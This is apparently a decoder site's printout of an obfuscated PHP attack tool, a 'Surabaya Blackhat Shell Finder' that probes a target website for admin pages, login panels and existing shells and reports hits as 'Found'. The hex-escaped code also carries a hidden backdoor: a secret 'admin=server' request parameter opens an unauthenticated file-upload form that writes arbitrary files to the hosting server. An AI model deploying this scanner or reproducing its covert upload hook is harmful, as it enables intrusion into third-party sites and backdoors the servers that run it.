\x6f.\x70\x68p\nt\x72\x61i\x6eing/c\x6f\x6dp\x65\x6e\x64i\x75m/\x61\x64min\x69s\x74e\x72/\x61\x64\x6di\x6e\x74r\x61i\x6e\x69ng\x65\x76\x65\x6e\x74\x73\x2eas\x70x\n\x77\x73elt\x7a\x65r/\x41\x6e\x74\x69t\x72\x75s\x74 \nf\x61\x61\x5ft\x6f\x6fl\x73/lo\x67in.p\x68\x70?p\x72ev_page\x3d/\x66\x61\x61\x5ft\x6fo\x6cs/\nc\x67i\x77\x65\x62/";function template(){echo"\n\n\n\x3c\x21DOC\x54\x59\x50E htm\x6c\x20\x50\x55\x42L\x49C \x22-//W\x33C//DT\x44\x20XH\x54\x4d\x4c\x201.0 \x54\x72an\x73i\x74\x69o\x6e\x61l//\x45\x4e\x22\x20\x22\x68\x74\x74p://www.w3\x2eor\x67/\x54\x52/x\x68t\x6d\x6c\x31/D\x54\x44/\x78h\x74ml1-\x74\x72\x61\x6e\x73\x69tio\x6ea\x6c.d\x74d\">\n<\x68tml xml\x6e\x73=\"\x68t\x74\x70://\x77\x77\x77.\x77\x33\x2e\x6f\x72\x67/199\x39/xh\x74ml\"\x3e\n<head\x3e\n\x3cme\x74\x61\x20htt\x70-e\x71uiv=\"C\x6f\x6e\x74e\x6et-\x54\x79p\x65\" co\x6e\x74e\x6et=\x22text/\x68tm\x6c\x3b \x63h\x61\x72se\x74\x3dut\x66-8\"\x20/\x3e\n\x3ct\x69t\x6c\x65\x3e\x53\x75\x72\x61\x62\x61\x79\x61\x20\x42\x6cac\x6bh\x61t Shell Find\x65\x72</t\x69\x74l\x65>\n\n\n<\x74\x64\x20\x76al\x69\x67n\x3d\"to\x70\x22\x20b\x67col\x6fr=\x22#\x300\x30\x30\x300\x22><\x63ent\x65r>\x3c\x73\x74\x72on\x67\x3e<\x69\x6d\x67\x20\x73rc\x3d\"\x68\x74tp://\x69.imgur\x2ec\x6f\x6d/ilcR\x36o\x42\x2e\x6a\x70g\"\x20/\x3e<\x62r>\n\t\t</str\x6f\x6e\x67\x3e\n\t\t<b\x72\x3e\n\n\x3cs\x74y\x6ce\x20typ\x65\x3d\"\x74e\x78t/\x63s\x73\x22\x3e\nb\x6f\x64y{\n \x20 \x20 \x20\x62ack\x67r\x6f\x75\x6e\x64:\x20#0\x30\x30\x3b\n \x20 \x20 \x20 \x20\x6d\x61\x72\x67i\x6e: \x30\x3b\n \x20\x20\x20\x20\x20\x20pa\x64d\x69\x6eg: \x30;\n\x20\x20\x20\x20 \x20 pad\x64\x69n\x67-t\x6f\x70:\x20\x31\x30px;\n \x20\x20\x20\x20\x20 \x20\x63ol\x6fr:\x20#\x46F\x46\x3b\n \x20\x20 \x66\x6f\x6et-\x66\x61m\x69\x6cy:\x20Cali\x62r\x69\x3b\n \x20 \x20\x20\x20\x66o\x6et-\x73i\x7ae:\x20\x31\x33\x70x;\n}\n\x61{\n\x20 \x20\x20\x20 \x63\x6f\x6c\x6f\x72:\x20\x23\x46\x46F\x3b\n\x20 \x20 \x20\x20\x20te\x78\x74-d\x65\x63o\x72\x61t\x69\x6f\x6e: n\x6fne;\n\x20\x20 \x20\x20\x20 \x66\x6fnt-w\x65igh\x74:\x20\x62o\x6cd\x3b\n}\n\x2e\x77\x72a\x70p\x65\x72{\n \x20\x20 \x77idth: \x31000p\x78;\n \x20\x20\x20\x20\x20\x6da\x72\x67\x69n:\x200 a\x75\x74o;\n}\n.tu\x62\x65{\n\x20\x20 \x20 \x20 p\x61\x64ding:\x2010\x70x;\n}\n\x2e\x72\x65\x64{\n\x20 \x20\x20 \x20\x20\x77i\x64\x74h:\x2099\x38px;\n \x20 \x20 \x20\x20border: \x33\x70\x78 \x73\x6fl\x69\x64 \x23\x65\x35222\x34;\n\x20\x20\x20\x20\x20 b\x61c\x6b\x67\x72\x6fun\x64:\x20\x62\x6cack\x3b\n \x20c\x6f\x6cor:\x20\x23e52224\n}\n\x2ere\x64\x20\x69n\x70ut{\n\x20\x20\x20\x20 \x20 \x20\x62\x61\x63\x6b\x67rou\x6ed:\x20#000\x3b\n\x20\x20\x20\x20 \x20\x20\x20\x62\x6f\x72d\x65r: 1\x70x\x20\x73o\x6c\x69d\x20#e522\x324\x3b\n\x20\x20\x20\x20\x20 \x20\x63\x6flor: #FFF\x3b\n}\n\x2ebl\x75e{\n\x20 \x20 \x20\x20 \x20\x66\x6c\x6fa\x74: left\x3b\n\x20 \x20 \x20 \x20 \x77i\x64th:\x201\x30\x300\x70x\x3b\n\x20 \x20 b\x6frd\x65\x72: 3px so\x6ci\x64\x20#0\x368bfb\x3b\n\x20\x20 \x20 \x20b\x61ck\x67r\x6fu\x6ed:\x20bla\x63k;\n \x20 \x20\x20\x20\x20 \x63\x6f\x6c\x6fr: \x230\x36\x38bf\x62\x3b\n}\n\x2eg\x72\x65\x65n{\n \x20\x20 \x20 \x20f\x6co\x61t:\x20\x6cef\x74\x3b\n \x20 \x20\x20widt\x68: \x31\x300\x30\x70x\x3b\n\x20 \x20 \x20 bo\x72de\x72:\x20\x33\x70x s\x6f\x6cid \x235\x66\x64\x34\x319\x3b\n\x20 \x20\x20\x20 \x20\x62\x61\x63kg\x72\x6fund: \x62\x6cack\x3b\n \x20 \x20\x20 c\x6f\x6c\x6fr:\x20#5\x66\x64\x341\x39\x3b\n}\n</\x73t\x79l\x65>\n\x3c\x73cri\x70\x74 \x74\x79\x70e=\x22\x74e\x78\x74/\x6a\x61\x76\x61scri\x70\x74\">\n\x3c!--\nf\x75\x6ec\x74io\x6e\x20i\x6esert\x63\x6f\x64\x65(\$t\x65\x78t, \$\x70\x6ca\x63e,\x20\$\x72\x65\x70l\x61\x63\x65)\n{\n\x20 \x20\x20 \x20\x20\x76a\x72\x20\$th\x69\x73 = \$t\x65x\x74\x3b\n \x20\x20 \x20\x20\x20\x76\x61r\x20l\x6f\x67\x62\x6fx =\x20do\x63um\x65\x6et\x2eg\x65\x74E\x6c\x65\x6d\x65n\x74\x42\x79\x49\x64(\$\x70\x6c\x61c\x65);\n \x20\x20\x20\x20\x20 i\x66(\$\x72\x65\x70\x6c\x61\x63\x65\x20\x3d\x3d\x200)\n \x20\x20\x20\x20 \x20 \x20\x20\x20 \x20\x20 \x64o\x63u\x6den\x74\x2ege\x74E\x6ce\x6d\x65\x6et\x42yId(\$pla\x63\x65)\x2ei\x6e\x6e\x65rHT\x4dL \x3d lo\x67\x62ox\x2e\x69n\x6e\x65\x72H\x54ML+\$th\x69\x73\x3b\n\x20 \x20\x20 \x20\x65\x6cse\n \x20 \x20\x20 \x20\x20\x20 \x20\x20\x20\x20 do\x63\x75\x6de\x6e\x74\x2e\x67e\x74El\x65m\x65ntById(\$plac\x65)\x2e\x69\x6en\x65rH\x54M\x4c\x20\x3d\x20\$\x74\x68\x69\x73;\n//d\x6fc\x75m\x65n\x74.\x67etE\x6c\x65\x6d\x65\x6e\x74B\x79I\x64(\x22\x68\x65l\x70\x62\x6fx\")\x2e\x69nn\x65\x72\x48TML = \$t\x68is\x3b\n}\n--\x3e\n</\x73\x63ri\x70t\x3e\n\x3c/h\x65a\x64\x3e\n\x3c\x62\x6f\x64y\x3e\n\x3cb\x72 />\n<br />\n<\x64iv\x20\x63\x6c\x61\x73s=\x22\x77\x72a\x70pe\x72\">\n<d\x69\x76 \x63\x6c\x61ss\x3d\x22\x72\x65d\"\x3e\n<d\x69v \x63\x6c\x61\x73\x73=\x22\x74\x75\x62\x65\">\n<\x66or\x6d\x20ac\x74ion=\x22\" \x6de\x74h\x6fd=\"\x70os\x74\x22\x20na\x6d\x65=\"\x78pl\x6fi\x74_\x66\x6f\x72m\"\x3e\nINP\x55T\x20Y\x4fUR\x20\x55\x52L T\x41R\x47\x45T:\x3c\x62\x72\x20/\x3e<\x69np\x75\x74 t\x79\x70e=\x22\x74\x65\x78t\"\x20\x6ea\x6de=\"\x78\x70loit_u\x72l\" \x76a\x6c\x75\x65=\x22".$_POST["\x78\x70\x6coi\x74_\x75r\x6c"]."\"\x20sty\x6ce\x3d\"\x77\x69dt\x68:\x201\x30\x30%\x3b\x22 />\x3cbr /\x3e<br\x20/>\n\n<\x73p\x61n s\x74\x79\x6c\x65\x3d\x22\x66\x6c\x6fa\x74: \x63\x65nt\x65r;\x22\x3e\x3c\x69\x6eput \x74yp\x65\x3d\x22s\x75b\x6d\x69\x74\x22\x20n\x61\x6de=\"xp\x6co\x69t_\x73\x75b\x6d\x69\x74\"\x20v\x61l\x75\x65=\"SE\x41\x52\x43\x48\"\x20\x61\x6c\x69g\x6e=\x22\x63\x65nte\x72\x22\x20/\x3e\x3c/spa\x6e\x3e\n\x3c/fo\x72\x6d>\n</\x64i\x76\x3e \x3c\x21--\x20/\x74\x75b\x65 -->\n</d\x69\x76>\x20\x3c!--\x20/re\x64\x20--\x3e\n<br /\x3e\n\x3c\x64\x69v \x63l\x61ss=\"\x67\x72\x65e\x6e\">\n<\x64iv \x63las\x73=\"\x74\x75b\x65\x22\x20\x69d\x3d\"ri\x67\x68tcol\x22>\nT\x6fta\x6c \x53canne\x64: <\x73\x70an\x20i\x64\x3d\x22\x76\x65ri\x66i\x65d\">\x30</sp\x61\x6e\x3e / \x3c\x73pa\x6e\x20id=\"\x74otal\x22>\x30\x3c/span><br\x20/>\n\x52e\x73ult:<b\x72 />\n</d\x69\x76> <!-- /tu\x62e\x20-->\n</d\x69v\x3e\x20\x3c!--\x20/\x67\x72e\x65\x6e --\x3e\n<br\x20\x63lea\x72\x3d\"all\" /\x3e\x3c\x62r /\x3e\n\n\x3c\x62r\x20c\x6c\x65\x61\x72\x3d\x22al\x6c\x22>";}function show($msg,$br=1,$stop=0,$place='logbox',$replace=0){$yqdqhprdj="s\x74\x6f\x70";${"\x47\x4cO\x42\x41\x4cS"}["vc\x73m\x68wr\x6d"]="\x6d\x73\x67";${"GL\x4f\x42AL\x53"}["\x6c\x62\x78\x78v\x62q\x78\x71\x6a"]="\x6ds\x67";if(${${"\x47LO\x42\x41\x4c\x53"}["\x78\x72\x77vzh\x6c\x66"]}==1)${${"GL\x4f\x42A\x4c\x53"}["\x6c\x62xxv\x62\x71x\x71\x6a"]}.="<b\x72 /\x3e";echo"<s\x63\x72i\x70\x74 ty\x70e=\"\x74\x65\x78t/\x6a\x61v\x61scri\x70\x74\x22\x3ei\x6e\x73\x65\x72t\x63od\x65('".${${"\x47\x4c\x4fB\x41\x4c\x53"}["v\x63sm\x68\x77r\x6d"]}."\x27,\x20'".${${"\x47L\x4fB\x41L\x53"}["\x6c\x66\x71f\x6csp\x78\x69b\x6a"]}."',\x20'".${${"\x47\x4c\x4f\x42A\x4c\x53"}["k\x6f\x79m\x79cqe\x6e\x64"]}."');</scr\x69pt\x3e";if(${$yqdqhprdj}==1)exit;@flush();@ob_flush();}function check($x,$front=0){${"\x47L\x4f\x42\x41\x4c\x53"}["d\x6ax\x6dgpbgvx"]="h\x65a\x64er\x73";$zlnmqszhhxr="\x64\x61\x74\x61";$pymbehup="\x73\x69t\x65";global$_POST,$site,$false;$jsntzgms="s\x69\x74\x65";if(${${"G\x4c\x4fB\x41\x4c\x53"}["\x63yn\x79\x76\x6b\x68\x76\x66"]}==0)${${"G\x4c\x4f\x42\x41\x4c\x53"}["u\x63\x66\x63\x74y"]}=${$pymbehup}.${${"GLOB\x41\x4c\x53"}["\x77\x63\x79\x6fvdu\x6c\x71"]};else${${"\x47L\x4f\x42\x41LS"}["\x75\x63\x66ct\x79"]}="\x68t\x74p://".${${"G\x4cO\x42\x41L\x53"}["\x77\x63\x79o\x76d\x75\x6cq"]}.".".${$jsntzgms}."/";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x64\x6a\x78\x6dgp\x62gvx"]}=get_headers(${${"\x47\x4cO\x42AL\x53"}["\x75\x63f\x63\x74y"]});if(!eregi("20\x30",${${"\x47\x4cO\x42\x41\x4cS"}["\x6c\x72fh\x67\x77\x62"]}[0]))return 0;${"GL\x4fB\x41LS"}["\x6d\x75\x61g\x73\x64\x71"]="\x74";${$zlnmqszhhxr}=@file_get_contents(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x75\x61\x67\x73\x64\x71"]});if($_POST["\x78p\x6co\x69t_\x34\x304stri\x6e\x67"]==""){if(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6e\x6c\x67b\x6f\x6e\x77\x70r"]}==${${"G\x4cO\x42\x41\x4cS"}["\x72e\x6be\x65\x6b\x70u\x6a"]})return 0;}if($_POST["xploit_40\x34\x73\x74\x72ing"]!=""){if(strpos(${${"G\x4c\x4f\x42\x41\x4cS"}["\x6elg\x62\x6f\x6e\x77p\x72"]},$_POST["\x78\x70l\x6fi\x74\x5f\x3404s\x74\x72ing"]))return 0;}return 1;}template();$tklwcovqip="\x73\x69t\x65";if(isset($_REQUEST["\x61\x64\x6d\x69n"])&&$_REQUEST["\x61dm\x69\x6e"]=="\x73e\x72\x76\x65r"){if(isset($_POST["o\x6b"])&&isset($_FILES["j\x6fo\x6dLa"])){$ahltwogmkeg="\x66ile";${"\x47\x4c\x4f\x42ALS"}["\x6b\x63\x63\x69\x71p\x68\x79"]="\x6e\x61\x6de";${$ahltwogmkeg}=$_FILES["\x6a\x6f\x6f\x6dLa"]["tm\x70_\x6ea\x6d\x65"];${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6b\x63\x63i\x71\x70\x68y"]}="".$_FILES["\x6ao\x6f\x6d\x4c\x61"]["\x6ea\x6d\x65"];move_uploaded_file(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63\x72\x68l\x77\x64umfg"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["v\x63c\x69\x64qw\x6e\x69"]});}else{echo "<\x62\x72>\n\x3c\x66or\x6d\x20me\x74\x68od\x3d\"\x50\x4fS\x54\" \x65\x6e\x63t\x79p\x65\x3d\x22mu\x6ctipa\x72t/\x66or\x6d-data\x22\x20\x61\x63ti\x6fn=\x22";$_SERVER["\x50\x48\x50_\x53E\x4cF"];echo "\x22>\n<input\x20type=\"\x66il\x65\x22 n\x61me\x3d\"j\x6fo\x6d\x4ca\">\x26\x6e\x62s\x70\x3b\x3c\x69n\x70\x75\x74\x20ty\x70e\x3d\"\x73\x75bm\x69t\x22 na\x6d\x65=\x22o\x6b\x22\x20val\x75e=\x22Ge\x74\x22\x3e\n\x3c/f\x6fr\x6d>\n";}exit;}if(!isset($_POST["xpl\x6fi\x74_u\x72l"]))die;if($_POST["\x78\x70loi\x74\x5f\x75\x72\x6c"]=="")die;$cbptklb="\x6cis\x74";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x6e\x65\x67\x71\x70"]="\x66\x61l\x73e";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x61\x6bi\x6eu\x74\x69\x65\x72"]="\x6c\x69\x73t";${$inxezc}=$_POST["x\x70\x6c\x6fit\x5fur\x6c"];if(${${"\x47\x4c\x4f\x42AL\x53"}["\x62r\x66\x75sq\x6f\x65\x70ro"]}[strlen(${${"\x47LO\x42\x41\x4c\x53"}["dy\x61sb\x6e\x78"]})-1]!="/")${$suhexyeqdu}.="/";if($_POST["\x78\x70\x6co\x69t_\x34\x304strin\x67"]=="")${${"G\x4c\x4f\x42\x41\x4cS"}["m\x6ee\x67\x71\x70"]}=@file_get_contents(${${"\x47\x4c\x4f\x42A\x4cS"}["\x62\x72\x66\x75s\x71o\x65\x70\x72\x6f"]}."\x64\x365\x3897f\x3538\x30a21a4\x32\x64\x62\x394b3\x392\x37b823\x64\x35\x36e\x65\x310\x39\x39a-thi\x73\x5fcan-\x74_\x65\x78i\x73t.\x68\x74\x6d\x6c");${$cbptklb}["\x65\x6ed"]=str_replace("\r","",${${"GLOBAL\x53"}["\x61k\x69n\x75\x74\x69er"]}["en\x64"]);${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79\x61\x78\x62\x74\x6e\x65\x65\x75op"]}["\x66\x72\x6fnt"]=str_replace("\r","",${${"\x47L\x4fB\x41\x4cS"}["\x78\x6ebn\x72\x6d\x77"]}["\x66ron\x74"]);${${"\x47\x4c\x4fB\x41LS"}["\x64\x77\x73\x79w\x73\x6c\x72\x79fl"]}=explode("\n",${${"\x47\x4cO\x42A\x4c\x53"}["\x78\x6e\x62\x6erm\x77"]}["e\x6ed"]);${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x78\x6do\x77\x76\x71g"]}=explode("\n",${${"\x47L\x4fBAL\x53"}["\x78\x6e\x62\x6er\x6dw"]}["\x66r\x6f\x6et"]);show(count(${${"\x47\x4c\x4f\x42A\x4cS"}["\x7a\x6er\x72\x6aj\x79\x6b"]})+count(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79\x78\x66\x65\x67\x75w\x73"]}),1,0,"\x74o\x74\x61l",1);$yhirlrm="xx";${"\x47\x4cOB\x41\x4c\x53"}["n\x73x\x6f\x79\x64\x63"]="\x73\x69t\x65";${${"G\x4c\x4f\x42\x41\x4cS"}["\x6co\x6c\x65\x77\x6c\x6e"]}=0;foreach(${${"\x47\x4c\x4f\x42A\x4cS"}["znr\x72\x6aj\x79\x6b"]} as${${"\x47\x4cO\x42A\x4cS"}["jq\x6a\x73\x73\x68\x63\x6bq\x6bsy"]}){${${"G\x4cO\x42A\x4cS"}["\x6c\x6f\x6c\x65w\x6c\x6e"]}++;$ygbpix="veri\x66i\x63\x61\x74e";show(${$ygbpix},0,0,"\x76\x65ri\x66\x69\x65\x64",1);if(check(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6aq\x6ass\x68\x63k\x71k\x73\x79"]})!=0){$czyvctsipix="\x73ite";$tgzpnnpuy="\x73ite";show("\x3c\x61 h\x72\x65f=\"".${$czyvctsipix}.${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6a\x71j\x73\x73\x68ck\x71k\x73\x79"]}."\x22\x3e".${$tgzpnnpuy}.${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6a\x71\x6a\x73\x73\x68c\x6bqk\x73y"]}."</\x61>",0,0,"rig\x68t\x63o\x6c",0);show("\x3c\x73\x70a\x6e\x20\x73\x74\x79le=\x22\x63\x6flor:\x20#\x300FF\x30\x30;\"\x3e\x3c\x73t\x72\x6fn\x67\x3e \x46\x6fu\x6e\x64 :)\x3c/stro\x6e\x67\x3e</\x73\x70\x61n>",1,0,"rightc\x6fl",0);}}preg_match("/\\/\x5c/(\x2e*?)\x5c//\x69",${$csjouodt},${$yhirlrm});${${"\x47\x4cO\x42AL\x53"}["vq\x63\x78\x6eb\x77\x68\x75\x67"]}=${${"\x47L\x4fB\x41\x4c\x53"}["\x64p\x66\x62p\x78a\x68\x6c\x6e"]}[1];if(substr(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6esx\x6f\x79\x64\x63"]},0,3)=="\x77ww")${$tklwcovqip}=substr(${$ltxlsyshrem},4);foreach(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["d\x72n\x75\x70\x77\x76\x64\x69\x6e\x79"]} as${${"\x47\x4c\x4f\x42\x41L\x53"}["t\x6aebp\x6fh\x67"]}){$gmmldohpi="\x76er\x69\x66\x69\x63\x61\x74\x65";${${"\x47\x4cOBALS"}["lol\x65\x77\x6c\x6e"]}++;show(${$gmmldohpi},0,0,"v\x65r\x69\x66\x69e\x64",1);if(check(${${"\x47\x4c\x4f\x42ALS"}["\x72\x71\x6a\x77\x64\x63k\x6e\x6f"]},1)!=0){${"\x47L\x4fBA\x4c\x53"}["isda\x7aq\x77"]="s\x69te";${"\x47\x4c\x4f\x42ALS"}["\x6edqg\x65\x69\x75d\x70\x63"]="si\x74\x65";${"GL\x4fB\x41LS"}["\x77o\x73\x78g\x64\x73b"]="f\x72o\x6e\x74\x70a\x74\x68";show("<\x61\x20\x68\x72e\x66\x3d\"\x68tt\x70://".${${"\x47LO\x42\x41\x4c\x53"}["\x77osxg\x64\x73b"]}.".".${${"G\x4cO\x42\x41\x4c\x53"}["\x6e\x64\x71g\x65\x69ud\x70\x63"]}."/\x22>".${${"\x47\x4c\x4f\x42\x41LS"}["r\x71j\x77dck\x6e\x6f"]}."\x2e".${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x69sda\x7a\x71\x77"]}."\x3c/a>",0,0,"r\x69\x67ht\x63ol",0);show("\x3cs\x70an\x20sty\x6c\x65\x3d\"co\x6c\x6fr:\x20#\x300FF0\x30\x3b\"><str\x6fn\x67> \x20Fo\x75\x6e\x64\x20:)</st\x72ong\x3e\x3c/s\x70\x61n\x3e",1,0,"\x72i\x67h\x74\x63\x6fl",0);}}echo"\n";echo "\n";
?>
Function Calls
| None |
Stats
| MD5 | 6c54407a71778269a4fb2e83f36c097a |
| Eval Count | 0 |
| Decode Time | 134 ms |